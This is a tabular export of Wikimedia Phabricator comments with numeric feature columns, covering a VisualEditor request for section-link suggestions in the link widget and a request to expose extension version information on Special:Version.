2231575,VisualEditor: Link input widget should suggest section links,"Change 975293 had a related patch set uploaded (by Esanders; author: Esanders):
%%%[mediawiki/extensions/VisualEditor@master] Link inspector: Use searchFragments feature in TitleWidget%%%
https://gerrit.wikimedia.org/r/975293",,,1700233938,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,541,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,4.864864864864865,0.8378378378378378,"Change 975293 had a related patch set uploaded (by Esanders; author: Esanders):
%%%[mediawiki/extensions/VisualEditor@master] Link inspector: Use searchFragments feature in TitleWidget%%%
GERRIT_URL"
2231572,VisualEditor: Link input widget should suggest section links,"Change 975292 had a related patch set uploaded (by Esanders; author: Esanders):
%%%[mediawiki/core@master] TitleWidget: Allow searching for section fragments%%%
https://gerrit.wikimedia.org/r/975292",,,1700233858,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,541,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,4.529411764705882,0.8529411764705882,"Change 975292 had a related patch set uploaded (by Esanders; author: Esanders):
%%%[mediawiki/core@master] TitleWidget: Allow searching for section fragments%%%
GERRIT_URL"
1091054,VisualEditor: Link input widget should suggest section links,"When adding links to sections in the current page, the UI may be a third tab in the Link popup (after the ""Search pages"" and ""External link"" tabs) called ""Section link"" (or similar). In this tab, the existing section titles would be listed (possibly in a hierarchical TOC fashion) and clicking on a section would add a link to that section.",,,1529619847,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,259,,0.0,0.0,0.0,1.0,0.0,6.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,10.0,1.0,4.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,10.0,4.0,0.0,8.0,0.0,0.0,0.0,1.0,5.0,0.0,4.0,0.0,0.0,0.0,3.6363636363636362,0.6233766233766234,"When adding links to sections in the current page, the UI may be a third tab in the Link popup (after the ""Search pages"" and ""External link"" tabs) called ""Section link"" (or similar). In this tab, the existing section titles would be listed (possibly in a hierarchical TOC fashion) and clicking on a section would add a link to that section."
708404,VisualEditor: Link input widget should suggest section links,"{T112898} has been fixed but `[[#section|text]]` just inserted is still red (all the same, it displays correctly for links which were already present before loading VisualEditor).",,,1470731559,,PHID-USER-unpoeiyj52rmcfqi5rbw,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,162,,3.0,0.0,0.0,3.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,9.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.34375,1.0,"{T112898} has been fixed but CODE just inserted is still red (all the same, it displays correctly for links which were already present before loading VisualEditor)."
240653,VisualEditor: Link input widget should suggest section links,*** Bug 61428 has been marked as a duplicate of this bug. ***,,,1401417280,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,True,,,47,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 61428 has been marked as a duplicate of this bug. ***
240648,VisualEditor: Link input widget should suggest section links,"(In reply to comment #11)
> John reports today that ""It used to be possible, in VE, to link to another
> section of a page (say, Bank#History). Now, when section information is
> added,
> in the Link/Hyperlink dialog box, VE just deletes it when the user presses
> [return] or exits (in any way) that dialog box.""

Noting for posterity that that was bug 53219, which has now been fixed.",,,1377527665,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,9.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,21.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,9.0,15.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2941176470588234,0.7352941176470589,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Noting for posterity that that was bug 53219, which has now been fixed."
240643,VisualEditor: Link input widget should suggest section links,"John reports today that ""It used to be possible, in VE, to link to another section of a page (say, Bank#History). Now, when section information is added, in the Link/Hyperlink dialog box, VE just deletes it when the user presses [return] or exits (in any way) that dialog box.""",,,1377170602,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,7,,1.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,4.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,12.0,4.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,3.0,12.0,12.0,0.0,3.0,0.0,3.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,3.417910447761194,0.7014925373134329,"John reports today that ""It used to be possible, in VE, to link to another section of a page (say, Bank#History). Now, when section information is added, in the Link/Hyperlink dialog box, VE just deletes it when the user presses [return] or exits (in any way) that dialog box."""
240639,VisualEditor: Link input widget should suggest section links,"The VE software has changed (at least a week ago, maybe longer) for this issue. Now pressing [Return] does not remove the ""#Whatever"" text that the user typed, for the section link. So this bug is now primarily a display issue.

(In reply to comment #7)
> This isn't just a display problem, and it is NOT an enhancement - it's a real
> defect because editors are unlikely to take the time - as I did - to figure
> out
> how to make section links work.
> 
> Here's what happens now: The editor finds an article to link to (good UI;
> much
> better than the wikitext editor); then he/she starts typing the section link
> (#whatever). The link name turns red (that's the display issue), and it
> doesn't
> suggest section names (that would be a really slick enhancement; if you do
> this
> well, people are going to love you). Instead, when the editor is done typing
> the section information, one of four things can happen:
> 
> * The editor presses Enter/Return (per the user guide), and the section
> information is REMOVED by VE. That is clearly a defect in the software.
> 
> * The editor presses the close icon (<) (per the user guide), and the section
> information is REMOVED by VE. That is clearly a defect in the software.
> 
> * The editor clicks somewhere else on the page, and the section information
> is
> REMOVED by VE. That is clearly a defect in the software.
> 
> * The editor clicks on the area ABOVE the input box, the area containing the
> word ""Hyperlink"", and VE is happy, and saves the section information. (I'm
> going to add that to the user guide, but that wouldn't do nearly as much good
> as changing, in the software, what happens in the first three situations,
> above.",,,1375822006,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,3.5,3.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,6.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,0.5,28.0,0.5,0.0,4.5,0.0,0.0,0.0,1.0,1.0,0.0,0.5,0.0,0.0,3.0,24.0,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.5,0.5,0.5,0.5,3.1885245901639343,0.42622950819672134,"The VE software has changed (at least a week ago, maybe longer) for this issue. Now pressing [Return] does not remove the ""#Whatever"" text that the user typed, for the section link. So this bug is now primarily a display issue.

(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
240636,VisualEditor: Link input widget should suggest section links,The suggestion of the sections that can be linked are also requested at it.wp.,,,1375739703,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,13.0,13.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,The suggestion of the sections that can be linked are also requested at it.wp.
240633,VisualEditor: Link input widget should suggest section links,*** Bug 51445 has been marked as a duplicate of this bug. ***,,,1374029473,,PHID-USER-fwlidikyeorzj35hufwu,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51445 has been marked as a duplicate of this bug. ***
240630,VisualEditor: Link input widget should suggest section links,"This isn't just a display problem, and it is NOT an enhancement - it's a real defect because editors are unlikely to take the time - as I did - to figure out how to make section links work.

Here's what happens now: The editor finds an article to link to (good UI; much better than the wikitext editor); then he/she starts typing the section link (#whatever). The link name turns red (that's the display issue), and it doesn't suggest section names (that would be a really slick enhancement; if you do this well, people are going to love you). Instead, when the editor is done typing the section information, one of four things can happen:

* The editor presses Enter/Return (per the user guide), and the section information is REMOVED by VE. That is clearly a defect in the software.

* The editor presses the close icon (<) (per the user guide), and the section information is REMOVED by VE. That is clearly a defect in the software.

* The editor clicks somewhere else on the page, and the section information is REMOVED by VE. That is clearly a defect in the software.

* The editor clicks on the area ABOVE the input box, the area containing the word ""Hyperlink"", and VE is happy, and saves the section information. (I'm going to add that to the user guide, but that wouldn't do nearly as much good as changing, in the software, what happens in the first three situations, above.",,,1373991618,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,2,,0.5,0.0,0.0,1.0,1.0,2.75,1.75,0.25,0.0,0.25,2.5,1.25,0.0,0.25,0.0,0.5,0.25,6.25,7.5,0.0,1.5,0.0,0.0,0.0,0.25,0.0,0.0,0.75,0.25,0.5,0.25,7.25,0.25,0.75,0.5,0.5,0.0,0.0,0.25,0.25,0.0,0.5,0.25,4.25,0.75,0.5,0.0,0.0,0.25,11.5,1.75,0.25,0.0,0.75,0.0,0.0,0.0,0.0,2.0,0.0,0.75,0.5,0.0,0.0,0.0,0.0,0.0,10.25,3.25,7.0,1.0,2.25,12.75,0.0,0.0,0.0,0.25,3.0,0.0,0.75,0.0,2.25,7.5,2.5,0.0,0.75,0.0,2.25,0.0,1.0,2.0,0.0,1.75,0.25,0.0,0.5,3.6191577409931837,0.6698717948717949,"This isn't just a display problem, and it is NOT an enhancement - it's a real defect because editors are unlikely to take the time - as I did - to figure out how to make section links work.

Here's what happens now: The editor finds an article to link to (good UI; much better than the wikitext editor); then he/she starts typing the section link (#whatever). The link name turns red (that's the display issue), and it doesn't suggest section names (that would be a really slick enhancement; if you do this well, people are going to love you). Instead, when the editor is done typing the section information, one of four things can happen:

* The editor presses Enter/Return (per the user guide), and the section information is REMOVED by VE. That is clearly a defect in the software.

* The editor presses the close icon (<) (per the user guide), and the section information is REMOVED by VE. That is clearly a defect in the software.

* The editor clicks somewhere else on the page, and the section information is REMOVED by VE. That is clearly a defect in the software.

* The editor clicks on the area ABOVE the input box, the area containing the word ""Hyperlink"", and VE is happy, and saves the section information. (I'm going to add that to the user guide, but that wouldn't do nearly as much good as changing, in the software, what happens in the first three situations, above."
240625,VisualEditor: Link input widget should suggest section links,Worth noting here the comments on bug 50945 about cases where display text != link text (piped links),,,1373526525,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,0.9523809523809523,Worth noting here the comments on bug 50945 about cases where display text != link text (piped links)
240617,VisualEditor: Link input widget should suggest section links,*** Bug 51121 has been marked as a duplicate of this bug. ***,,,1373520194,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51121 has been marked as a duplicate of this bug. ***
240610,VisualEditor: Link input widget should suggest section links,"(In reply to comment #3)
> When reporting the duplicate bug (sorry, this one didn't come up in my
> search)

Don't worry, it's my fault for not triaging earlier. :-)

> I wondered whether this was related to Bug 33094

I don't believe so (though we should get that fixed soon too, of course).",,,1373518375,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,6.0,0.0,14.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,2.0,0.0,2.0,0.0,2.0,8.0,0.0,2.0,0.0,8.0,10.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.061224489795918,0.7959183673469388,"(In reply to comment #3)
QUOTE
QUOTE

Don't worry, it's my fault for not triaging earlier. :-)

QUOTE

I don't believe so (though we should get that fixed soon too, of course)."
240604,VisualEditor: Link input widget should suggest section links,"When reporting the duplicate bug (sorry, this one didn't come up in my search) I wondered whether this was related to Bug 33094",,,1373476336,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,7.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,7.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.888888888888889,0.9629629629629629,"When reporting the duplicate bug (sorry, this one didn't come up in my search) I wondered whether this was related to Bug 33094"
240596,VisualEditor: Link input widget should suggest section links,*** Bug 51118 has been marked as a duplicate of this bug. ***,,,1373475138,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51118 has been marked as a duplicate of this bug. ***
240592,VisualEditor: Link input widget should suggest section links,"* The link inspector needs to understand that if Foo exists, linking to Foo#Bar isn't a red link
* Ideally the link inspector should have introspection of articles' sections so that it can suggest which headings to link to
* This should also work for naked (local) section links - i.e., linking to just #Bar on the local page.",,,1373475114,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dfaq53vqbeqqxygg7gqr,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,3.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,12.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,6.0,1.0,9.0,6.0,0.0,9.0,0.0,0.0,0.0,1.0,9.0,0.0,0.0,0.0,1.0,17.0,3.0,0.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,1.0,3.9130434782608696,0.7536231884057971,"* The link inspector needs to understand that if Foo exists, linking to Foo#Bar isn't a red link
* Ideally the link inspector should have introspection of articles' sections so that it can suggest which headings to link to
* This should also work for naked (local) section links - i.e., linking to just #Bar on the local page."
52879,Difficult for users to know what exact version of each extension is running on the cluster,"This bug was cloned from bug 50120.

(In reply to bug 50120 comment #5)
> We believe that this is now fixed (due to fixes in Parsoid). Please re-open
> if it recurs.

How do you know what version of VisualEditor or Parsoid is running? Looking at Erik's comment (bug 50120 comment 6), I try to go to [[Special:Version]] to figure out what exact versions of Parsoid and VisualEditor are running (for debugging purposes and to figure out if this problem is still present in the latest bleeding edge code) and I find that Parsoid and VisualEditor are both marked as version 0.1.0. Not quite helpful for debugging. Splitting this issue out.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1373161140,1404841447.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-grvae3imieydt4li7k7h,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,0.5,0.5,4.0,1.5,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.5,11.5,0.0,1.5,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,4.5,1.0,0.0,2.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,0.0,0.5,8.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,3.0,12.5,2.0,3.5,3.5,0.0,0.0,0.0,0.5,2.0,0.0,2.5,0.0,1.5,11.5,5.5,0.5,0.0,0.0,1.5,0.0,1.5,0.0,0.0,4.0,0.0,0.5,1.0,3.945439045183291,0.7080136402387043,"This bug was cloned from bug 50120.

(In reply to bug 50120 comment #5)
QUOTE
QUOTE

How do you know what version of VisualEditor or Parsoid is running? Looking at Erik's comment (bug 50120 comment 6), I try to go to [[Special:Version]] to figure out what exact versions of Parsoid and VisualEditor are running (for debugging purposes and to figure out if this problem is still present in the latest bleeding edge code) and I find that Parsoid and VisualEditor are both marked as version 0.1.0. Not quite helpful for debugging. Splitting this issue out.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
240493,Difficult for users to know what exact version of each extension is running on the cluster,"With bug 53972 now fixed, this is now fixed in Beta Labs (see http://en.wikipedia.beta.wmflabs.org/wiki/Special:Version for git hashes against each extension), and for VisualEditor specifically (which was the original locus of this suggestion) it's also available at the bottom of the ""help"" menu.",,,1404841447,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-grvae3imieydt4li7k7h,task_subcomment,,True,c1,3,True,,,53,,2.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,10.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,15.0,6.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8846153846153846,0.7884615384615384,"With bug 53972 now fixed, this is now fixed in Beta Labs (see URL for git hashes against each extension), and for VisualEditor specifically (which was the original locus of this suggestion) it's also available at the bottom of the ""help"" menu."
240486,Difficult for users to know what exact version of each extension is running on the cluster,"(In reply to comment #1)
> Could we switch on the configuration we have on beta labs for Special:Version
> for other wikis? (Perhaps as a page option - ?showversions=true or whatever,
> so as to avoid confusing users.)

I'm not sure of the history here, but perhaps it could show the extra info only for logged-in users?",,,1373217143,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-grvae3imieydt4li7k7h,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,3.0,0.0,3.0,0.0,10.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,13.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,5.0,13.0,3.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.128205128205128,0.8717948717948718,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE

I'm not sure of the history here, but perhaps it could show the extra info only for logged-in users?"
240479,Difficult for users to know what exact version of each extension is running on the cluster,"(In reply to comment #0)
> This bug was cloned from bug 50120.
> 
> (In reply to bug 50120 comment #5)
> > We believe that this is now fixed (due to fixes in Parsoid). Please re-open
> > if it recurs.
> 
> How do you know what version of VisualEditor or Parsoid is running? Looking
> at
> Erik's comment (bug 50120 comment 6), I try to go to [[Special:Version]] to
> figure out what exact versions of Parsoid and VisualEditor are running (for
> debugging purposes and to figure out if this problem is still present in the
> latest bleeding edge code) and I find that Parsoid and VisualEditor are both
> marked as version 0.1.0. Not quite helpful for debugging. Splitting this
> issue
> out.

